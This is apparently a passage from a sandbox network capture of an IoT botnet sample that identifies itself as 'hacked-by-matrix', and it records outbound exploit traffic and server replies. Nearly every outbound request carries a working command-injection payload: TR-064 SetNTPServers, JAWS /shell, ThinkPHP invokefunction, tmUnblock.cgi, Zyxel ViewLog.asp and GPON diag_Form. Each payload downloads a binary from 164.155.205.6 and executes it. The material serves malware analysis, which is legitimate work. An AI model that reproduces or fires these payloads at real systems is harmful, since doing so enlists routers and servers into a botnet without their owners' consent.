2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at vm-14a43617-bb3c-4af9-8e8a-8240c7f46610.ams.resource.cloud Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
995	192.168.2.23	50066	145.255.28.24	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:49.859761953 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:50.106409073 CET	197	IN	HTTP/1.1 404 Not Found Date: Sat Mar 2 14:37:49 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
996	192.168.2.23	48306	161.97.67.37	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:49.944360018 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:50.132255077 CET	174	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
997	192.168.2.23	48064	99.239.122.224	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:49.992044926 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:50.751061916 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
998	192.168.2.23	50088	145.255.28.24	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:50.106513977 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:50.346282959 CET	197	IN	HTTP/1.1 404 Not Found Date: Sat Mar 2 14:37:49 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
999	192.168.2.23	47400	95.111.231.96	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:50.199909925 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:37:51.169019938 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:37:51.360255957 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:37:51 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1000	192.168.2.23	36668	172.65.253.107	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:50.517203093 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1001	192.168.2.23	53426	172.65.78.104	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:50.638572931 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1002	192.168.2.23	36414	172.66.43.227	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:50.638700962 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1003	192.168.2.23	52748	173.222.50.101	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:50.713979959 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:50.838088036 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Sat, 02 Mar 2024 11:37:50 GMT Date: Sat, 02 Mar 2024 11:37:50 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 31 34 31 37 64 64 31 37 26 23 34 36 3b 31 37 30 39 33 37 39 34 37 30 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.1417dd17.1709379470.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1004	192.168.2.23	36942	80.96.156.198	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:50.738529921 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:51.607988119 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:51.886817932 CET	194	IN	HTTP/1.1 404 Not Found Content-Type: application/json; charset=utf-8 Date: Sat, 02 Mar 2024 11:37:51 GMT Content-Length: 52 Data Raw: 7b 22 63 6f 64 65 22 3a 22 50 41 47 45 5f 4e 4f 54 5f 46 4f 55 4e 44 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 22 7d Data Ascii: {"code":"PAGE_NOT_FOUND","message":"Page not found"}
Mar 2, 2024 12:37:51.886914968 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
1005	192.168.2.23	49934	181.177.111.103	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:50.739770889 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:51.023788929 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:51.325361967 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:51.414045095 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1006	192.168.2.23	47238	172.64.16.132	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:50.807046890 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1007	192.168.2.23	59620	99.84.28.243	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:50.928540945 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:51.608306885 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:51.824137926 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
1008	192.168.2.23	51710	42.250.99.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.050781965 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1009	192.168.2.23	53072	79.189.226.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.050781965 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1010	192.168.2.23	51658	118.100.207.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.050812006 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1011	192.168.2.23	52562	94.2.181.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.050807953 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1012	192.168.2.23	39542	178.247.91.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:51.050836086 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1013	192.168.2.23	52120	42.122.245.69	443

Timestamp	Bytes transferred	Direction	Data
